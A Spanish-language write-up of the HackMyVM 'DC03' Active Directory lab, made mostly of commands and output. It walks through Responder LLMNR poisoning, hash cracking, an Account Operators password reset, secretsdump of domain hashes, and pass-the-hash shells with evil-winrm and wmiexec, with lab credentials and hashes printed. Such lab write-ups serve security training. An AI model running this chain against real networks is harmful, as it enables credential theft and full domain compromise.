DC03 – HackMyVM Link to heading
- OS: Windows
- Difficulty / Dificultad: Easy / Fácil
- Platform / Plataforma: HackMyVM
Resumen Link to heading
“DC03” es una máquina de dificultad fácil de la plafatorma HackMyVM
la cual introduce algunos conceptos de Active Directory
. Luego de preparar un poisoning LLMNR
al dominio, somos capaces de obtener un hash para un usuario el cual también somos capaces de crackear. Ya con on usuario, procedemos a enumerar el dominio con al herramienta ldapsearch
. Podemos ver que este usuario es parte del grupo Account Operators
y, por ende, puede cambiar la password de otros usuarios. Podemos, además, ver que el grupo Operators
es parte del grupo Domain Admins
. Es así como, impersonando al usuario del grupo Account Operators
, cambiamos la contraseña de un usuario en el grupo Operators
. Esto nos permite ganar acceso al sistema como un usuario con privilegios máximos, tomando así control total del sistema.
User / Usuario Link to heading
Empezamos con un escaneo con Nmap
en busca de puertos TCP
en la máquina víctima. Primero identificamos los puertos abiertos a través de un escaneo silencioso:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn 10.20.1.130
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-14 19:14 -03
Nmap scan report for 10.20.1.130
Host is up (0.00096s latency).
Not shown: 65517 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49664/tcp open unknown
49667/tcp open unknown
49674/tcp open unknown
49687/tcp open unknown
49706/tcp open unknown
MAC Address: 08:00:27:9F:55:1C (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 26.80 seconds
Encontramos muchos puertos abiertos. Entre ellos tenemos: 53
Domain Name System
(DNS
), 88
Kerberos
, 135
Microsoft RPC
, 389
Lightweight Directory Access Protocol
(LDAP
), 445
Server Message Block
(SMB
) and 5985
Windows Remote Management
(WinRM
), entre otros. Aplicando algunos scripts de reconocimiento sobre estos puertos con la flag -sVC
obtenemos:
❯ sudo nmap -sVC -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49674,49687,49706 10.20.1.130
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-14 19:17 -03
Nmap scan report for 10.20.1.130
Host is up (0.00038s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-09-15 02:18:00Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49687/tcp open msrpc Microsoft Windows RPC
49706/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27:9F:55:1C (Oracle VirtualBox virtual NIC)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 3h59m58s
|_nbstat: NetBIOS name: DC01, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:9f:55:1c (Oracle VirtualBox virtual NIC)
| smb2-time:
| date: 2024-09-15T02:18:48
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.43 seconds
Podemos entonces usar la herramienta enum4linux-ng
(la cual puede ser descargada desde su repositorio de Github) para obtener información de la máquina víctima. Ejecutando este script tenemos:
❯ python3 /home/gunzf0x/GitStuff/enum4linux-ng/enum4linux-ng.py 10.20.1.130
ENUM4LINUX - next generation
==========================
| Target Information |
==========================
[*] Target ........... 10.20.1.130
[*] Username ......... ''
[*] Random Username .. 'acsljoyw'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)
<SNIP>
==========================================================
| Domain Information via SMB session for 10.20.1.130 |
==========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: DC01
NetBIOS domain name: SOUPEDECODE
DNS domain: SOUPEDECODE.LOCAL
FQDN: DC01.SOUPEDECODE.LOCAL
Derived membership: domain member
Derived domain: SOUPEDECODE
<SNIP>
Tenemos un dominio: SOUPEDECODE.LOCAL
.
Si los mensajes SMB
no se encuentran firmados podemos tratar de interceptarlos y extraer el hash del usuario que los envía. Podemos entonces intentar un LLMNR
poisoning usando la herramienta Responder
. Realizando esto tenemos un hash:
❯ sudo responder -I eth0
<SNIP>
[+] Listening for events...
[*] [NBT-NS] Poisoned answer sent to 10.20.1.130 for name FILESERVER (service: File Server)
[SMB] NTLMv2-SSP Client : 10.20.1.130
[SMB] NTLMv2-SSP Username : soupedecode\xkate578
[SMB] NTLMv2-SSP Hash : xkate578::soupedecode:55b02b10bdffda6b:44CE62E33EF8C6674A1D768D2E3BA1C3:0101000000000000005212C7DC06DB01B5CB3437D16BAD67000000000200080036004A003200350001001E00570049004E002D00430035004D003400360048005300530043004200550004003400570049004E002D00430035004D00340036004800530053004300420055002E0036004A00320035002E004C004F00430041004C000300140036004A00320035002E004C004F00430041004C000500140036004A00320035002E004C004F00430041004C0007000800005212C7DC06DB0106000400020000000800300030000000000000000000000000400000ABF978677B978261BF6D67F1D5AEAC3CD62F0C48003935C2CE6654CF3BE24A030A0010000000000000000000000000000000000009001E0063006900660073002F00460069006C0065005300650072007600650072000000000000000000
Obtenemos un hash para el usuario xkate578
. Guardamos este hash en un archivo llamado xkate_hash
.
Podemos entonces intentar performar un Brute Force Password Cracking
con al herramienta JohnTheRipper
junto con el diccionario rockyou.txt
:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt xkate_hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
jesuschrist (xkate578)
1g 0:00:00:00 DONE (2024-09-14 19:47) 7.692g/s 19692p/s 19692c/s 19692C/s 123456..hassan
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
Somos capaces de obtener credenciales: xkate578:jesuschrist
.
Podemos entonces usar la herramienta NetExec
para ver si estas credenciales funcionan para autenticarnos ante el servicio SMB
:
❯ netexec smb 10.20.1.130 -u 'xkate578' -p 'jesuschrist'
SMB 10.20.1.130 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB 10.20.1.130 445 DC01 [+] SOUPEDECODE.LOCAL\xkate578:jesuschrist
y funcionan.
Podemos, además, usar la flag --share
para ver los recursos compartidos a los cuales tiene acceso este usuario:
❯ netexec smb 10.20.1.130 -u 'xkate578' -p 'jesuschrist' --shares
SMB 10.20.1.130 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB 10.20.1.130 445 DC01 [+] SOUPEDECODE.LOCAL\xkate578:jesuschrist
SMB 10.20.1.130 445 DC01 [*] Enumerated shares
SMB 10.20.1.130 445 DC01 Share Permissions Remark
SMB 10.20.1.130 445 DC01 ----- ----------- ------
SMB 10.20.1.130 445 DC01 ADMIN$ Remote Admin
SMB 10.20.1.130 445 DC01 C$ Default share
SMB 10.20.1.130 445 DC01 IPC$ READ Remote IPC
SMB 10.20.1.130 445 DC01 NETLOGON READ Logon server share
SMB 10.20.1.130 445 DC01 share READ,WRITE
SMB 10.20.1.130 445 DC01 SYSVOL READ Logon server share
De aquí podemos ver uno que no es usual: share
.
Luego, usamos la herramienta smbmap
para leer el recurso compartido llamado shared
:
❯ smbmap -H 10.20.1.130 -u 'xkate578' -p 'jesuschrist' --no-banner -r 'share'
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] IP: 10.20.1.130:445 Name: 10.20.1.130 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
share READ, WRITE
./share
dw--w--w-- 0 Sat Sep 14 23:52:24 2024 .
dr--r--r-- 0 Thu Aug 1 01:38:08 2024 ..
fr--r--r-- 282 Thu Aug 1 01:38:08 2024 desktop.ini
fr--r--r-- 70 Thu Aug 1 01:39:25 2024 user.txt
SYSVOL READ ONLY Logon server share
Donde podemos ver un archivo llamado user.txt
dentro de este recurso compartido.
Podemos entonces usar la flag --download
con smbmap
para descargar este archivo:
❯ smbmap -H 10.20.1.130 -u 'xkate578' -p 'jesuschrist' --no-banner --download 'share/user.txt'
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] Starting download: share\user.txt (70 bytes)
[+] File output to: /home/gunzf0x/OtherMachines/TallerEthicalHackingUC/DC03/content/10.20.1.130-share_user.txt
[*] Closed 1 connections
y leer su contenido:
❯ cat 10.20.1.130-share_user.txt
12f54a96*******************
NT Authority/System - Administrador Link to heading
Dado que el servicio Kerberos
, asumo que estamos en un entorno Active Directory
(AD
). Por tanto, intentamos obtener la estructura de este entorno AD
usando la herramienta bloodhound-python
(la cual puede ser instalada con Python
usando el comando pip3 install bloodhound
). Ya instalado, lo ejecutamos pasándole las credenciales halladas:
❯ bloodhound-python -u XKATE578 -p jesuschrist -d SOUPEDECODE.LOCAL -ns 10.20.1.130 -c all
Traceback (most recent call last):
File "/home/gunzf0x/.local/bin/bloodhound-python", line 8, in <module>
sys.exit(main())
^^^^^^
File "/home/gunzf0x/.local/lib/python3.11/site-packages/bloodhound/__init__.py", line 308, in main
ad.dns_resolve(domain=args.domain, options=args)
File "/home/gunzf0x/.local/lib/python3.11/site-packages/bloodhound/ad/domain.py", line 699, in dns_resolve
q = self.dnsresolver.query(query, 'SRV', tcp=self.dns_tcp)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3/dist-packages/dns/resolver.py", line 1364, in query
return self.resolve(
^^^^^^^^^^^^^
File "/usr/lib/python3/dist-packages/dns/resolver.py", line 1321, in resolve
timeout = self._compute_timeout(start, lifetime, resolution.errors)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3/dist-packages/dns/resolver.py", line 1075, in _compute_timeout
raise LifetimeTimeout(timeout=duration, errors=errors)
dns.resolver.LifetimeTimeout: The resolution lifetime expired after 3.107 seconds: Server Do53:10.20.1.130@53 answered The DNS operation timed out.
Pero encontramos un error. No está reconociendo el servidor DNS
.
Intento usar la herramienta dnschef
para falsear nuestro localhost
como un servidor DNS
. Esta herramienta viene instalada por defecto con Kali Linux
. De no estarlo, podemos instalarla desde su repositorio de Github. Usamos esta herramienta ejecutando en una terminal:
❯ sudo dnschef --fakeip 10.20.1.130
_ _ __
| | version 0.4 | | / _|
__| |_ __ ___ ___| |__ ___| |_
/ _` | '_ \/ __|/ __| '_ \ / _ \ _|
| (_| | | | \__ \ (__| | | | __/ |
\__,_|_| |_|___/\___|_| |_|\___|_|
iphelix@thesprawl.org
(20:24:36) [*] DNSChef started on interface: 127.0.0.1
(20:24:36) [*] Using the following nameservers: 8.8.8.8
(20:24:36) [*] Cooking all A replies to point to 10.20.1.130
Y luego ejecutar:
❯ bloodhound-python -c ALL -u 'xkate578' -p 'jesuschrist' -d 'SOUPEDECODE.LOCAL' -ns 127.0.0.1
Pero esto sigue sin funcionar.
Dado que Bloodhound
no funcionó gracias a problemas con el servidor DNS
, podemos usar el servicio LDAP
para obtener información del dominio. Primero, agregamos el dominio principal y el DC01
(Domain Controller) a nuestro archivo /etc/hosts
:
❯ echo '10.20.1.130 SOUPEDECODE.LOCAL DC01.SOUPEDECODE.LOCAL' | sudo tee -a /etc/hosts
Luego, usamos la herramienta ldapdomaindump
(instalable con el comando pip3 install ldapdomaindump
) para extraer toda la información del entorno corriendo:
❯ ldapdomaindump -u 'SOUPEDECODE.LOCAL\xkate578' -p 'jesuschrist' 10.20.1.130
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
Esto generará múltiples archivos. Entre ellos tenemos archivos .html
los cuales pueden ser usados para ver el output con una visual agradable. Para ver estos archivos, empezamos un servidor Python
HTTP
temporal en el puerto 8080
ejecutando:
❯ python3 -m http.server 8080
en el mismo directorio donde los archivos .html
se encuentran localizados.
Hecho esto, visitamos http://127.0.0.1:8080
en un navegador de internet como Firefox
y deberíamos de ser capaces de ver nuestros archivos. Clickeando en el archivo domain_users.html
y buscando por xkate578
(el usuario que hemos impersonado) muestra:
Encontramos que el usuario xkate578
es parte del grupo Account Operators
. Basados en la documentación oficial de Microsoft para AD, este grupo nos deja crear o mosificar la password de algunas cuentas.
De manera que deberíamos de ser capaces de cambiar la contraseña de algún usuario. Usualmente, este grupo no es capaz de cambiar la contraseña de usuarios administradores. Pero si buscamos por usuarios en el grupo Domain Admins
, encontramos:
El usuario Administrator
pertenece a este grupo (como es esperable) y también el grupo Operators
pertenece a este grupo.
Revisando cuáles usuarios pertenecen al grupo Operators
, encontramos:
Podemos ver un usuario llamado fbeth103
el cual pertenece al grupo Operators
(y, por tanto, éste a su vez pertenece al grupo Domain Admins
-o Administradores de Dominio-). Podemos entonces tratar de cambiar la contraseña de este usuario y ver si esto funciona.
Para esto podemos usar la herramienta impacket-changepasswd
de Impacket
para intentar cambiar la contraseña de este usuario:
❯ impacket-changepasswd SOUPEDECODE.LOCAL/fbeth103@10.20.1.130 -newpass 'Game0ver!' -altuser 'xkate578' -altpass 'jesuschrist' -no-pass -reset
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Setting the password of SOUPEDECODE.LOCAL\fbeth103 as SOUPEDECODE.LOCAL\xkate578
[*] Connecting to DCE/RPC as SOUPEDECODE.LOCAL\xkate578
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.
Donde estamos cambiando la contraseña del usuario xkate578
a Game0ver!
.
Hecho esto, usamos NetExec
para ver si el cambio de contraseña ha funcionado:
❯ netexec smb 10.20.1.130 -u 'fbeth103' -p 'Game0ver!'
SMB 10.20.1.130 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB 10.20.1.130 445 DC01 [+] SOUPEDECODE.LOCAL\fbeth103:Game0ver! (Pwn3d!)
y funcionó.
Además, puedo ver el texto Pwn3d!
. Cuando NetExec
muestra este mensaje para un usuario en el servicio SMB
, esto quiere decir que el usuario tiene privilegios en el sistema.
Escalada de Privilegios #1: Dumpear hashes Link to heading
Dado que nuestro usuario es un usuario privilegiado, podemos usar la herramienta impacket-secretsdump
para dumpear todos los hashes del sistema:
❯ impacket-secretsdump SOUPEDECODE.LOCAL/fbeth103:'Game0ver!'@10.20.1.130
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Target system bootKey: 0x0c7ad5e1334e081c4dfecd5d77cc2fc6
<SNIP>
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2176416a80e4f62804f101d3a55d6c93:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fb9d84e61e78c26063aced3bf9398ef0:::
soupedecode.local\bmark0:1103:aad3b435b51404eeaad3b435b51404ee:d72c66e955a6dc0fe5e76d205a630b15:::
soupedecode.local\otara1:1104:aad3b435b51404eeaad3b435b51404ee:ee98f16e3d56881411fbd2a67a5494c6:::
soupedecode.local\kleo2:1105:aad3b435b51404eeaad3b435b51404ee:bda63615bc51724865a0cd0b4fd9ec14:::
soupedecode.local\eyara3:1106:aad3b435b51404eeaad3b435b51404ee:68e34c259878fd6a31c85cbea32ac671:::
<SNIP>
Podemos así extraer el hash NTLM
del usuario Administrator
.
Con este hash podemos intentar un ataque Pass The Hash
, por ejemplo, a través del servicio WinRM
. Revisamos, nuevamente, si este hash funciona con NetExec
:
❯ netexec winrm 10.20.1.130 -u 'Administrator' -H '2176416a80e4f62804f101d3a55d6c93'
WINRM 10.20.1.130 5985 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:SOUPEDECODE.LOCAL)
WINRM 10.20.1.130 5985 DC01 [+] SOUPEDECODE.LOCAL\Administrator:2176416a80e4f62804f101d3a55d6c93 (Pwn3d!)
Y nos conectamos a la máquina víctima usando la herramienta evil-winrm
:
❯ evil-winrm -i 10.20.1.130 -u 'Administrator' -H '2176416a80e4f62804f101d3a55d6c93'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
soupedecode\administrator
Escalada de Privilegios #2: Usar wmiexec.py
Link to heading
Dado el servicio SMB
nos mostró que el usuario fbeth103
es privilegiado, y dadoi que el servicio LDAP
se encuentra activo, podemos usar wmiexec.py
de Impacket
para ganar acceso a la máquina víctima:
❯ python3 /usr/share/doc/python3-impacket/examples/wmiexec.py SOUPEDECODE.LOCAL/fbeth103:'Game0ver!'@10.20.1.131
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
soupedecode\fbeth103
Si revisamos los privilegios de este usuario podemos ver:
C:\>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeMachineAccountPrivilege Add workstations to domain Enabled
SeSecurityPrivilege Manage auditing and security log Enabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Enabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
Este usuario tiene absolutamente todos los privilegios habilitados; ello quiere decir que este usuario es equivalente al usuario Administrator
y podemos realizar las acciones que queramos sobre el sistema.
Podemos entonces leer la flag en el directorio C:\Users\Administrator\Desktop
.
~Happy Hacking.